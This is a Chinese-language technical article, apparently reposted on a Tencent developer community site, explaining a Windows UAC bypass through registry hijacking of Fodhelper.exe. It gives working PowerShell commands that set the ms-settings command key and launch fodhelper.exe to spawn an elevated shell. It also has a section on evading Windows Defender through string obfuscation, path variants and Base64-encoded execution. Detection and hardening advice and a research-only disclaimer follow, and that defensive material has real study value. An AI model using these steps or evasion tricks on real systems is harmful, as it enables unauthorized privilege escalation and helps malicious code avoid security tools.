首页
学习
活动
专区
圈层
工具
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

UAC完美绕过:Fodhelper.exe提权技术深度剖析

前言

本文将深入分析如何通过Windows系统自带的Fodhelper.exe程序实现UAC(用户账户控制)的绕过,并详细说明其工作原理、实现方法和防御对策。

Fodhelper.exe介绍

什么是Fodhelper.exe?

Fodhelper.exe是Windows 10中的一个系统组件,用于管理Windows功能。该程序具有自动提升权限的特性,是UAC绕过的理想目标。

为什么选择Fodhelper.exe?

系统自带程序,默认受信任

具有自动提升权限的特性

可通过注册表劫持执行流程

较难被安全软件拦截

技术原理

自动提升机制

Fodhelper.exe启动时会自动请求管理员权限,且不会触发UAC提示,这是因为:

程序位于系统目录

具有微软数字签名

内置manifest指定了requireAdministrator

劫持原理

通过修改注册表项HKCU:\Software\Classes\ms-settings\Shell\Open\command,可以劫持Fodhelper.exe的执行流程:

程序启动时会查询该注册表路径

通过DelegateExecute键触发命令执行

利用当前用户上下文执行恶意命令

实现步骤

1. 注册表准备

# 创建必要的注册表项

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force

2. 设置劫持参数

# 设置DelegateExecute键值

Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `

  -Name "DelegateExecute" -Value "" -Force

# 设置要执行的命令

Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `

  -Name "(Default)" `

  -Value "cmd.exe /c start C:\Windows\System32\cmd.exe" -Force

3. 触发执行

# 启动Fodhelper.exe触发提权

Start-Process "C:\Windows\System32\fodhelper.exe"

绕过Windows Defender

1. 命令混淆

# 原始命令

cmd.exe /c start C:\Windows\System32\cmd.exe

# 混淆后

$c = "cm"+"d.exe"; $p = "/c st"+"art"; & $c $p "C:\Windows\System32\cmd.exe"

2. 路径变形

# 使用环境变量

%SystemRoot%\System32\cmd.exe

# 或使用短路径

C:\WINDOWS\SysWOW64\cmd.exe

3. 编码处理

# Base64编码执行

$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("cmd.exe"))

powershell -enc $encoded

检测与防御

1. 注册表监控

# 监控关键注册表路径

reg query "HKCU\Software\Classes\ms-settings\Shell\Open\command"

# PowerShell监控脚本

$key = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"

Get-ItemProperty -Path $key | Select-Object "(Default)", "DelegateExecute"

2. 进程监控

监控Fodhelper.exe的启动

跟踪其子进程创建

记录命令行参数

3. 防护措施

注册表访问控制

# 限制注册表访问权限

$acl = Get-Acl "HKCU:\Software\Classes"

Set-Acl "HKCU:\Software\Classes\ms-settings" $acl

应用程序控制

# AppLocker策略示例

New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\fodhelper.exe" -User "Everyone" -Action Deny

系统加固

启用最高级别UAC设置

实施最小权限原则

定期更新系统补丁

实验环境搭建

测试环境要求

Windows 10/11操作系统

标准用户权限

UAC默认设置

验证步骤

创建测试用户

确认UAC设置

执行绕过脚本

验证权限提升

结论

Fodhelper.exe提供了一个相对可靠的UAC绕过方法,但也存在被检测的风险。安全团队应该:

了解此类攻击原理

实施相应防御措施

定期进行安全评估

保持系统更新

提醒:本文内容仅供安全研究使用,切勿用于非法目的。在实际环境中使用这些技术可能违反相关法律法规

  • 发表于:
  • 原文链接https://page.om.qq.com/page/Om17pMECsD_4Zt3oMEuKDKHA0
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券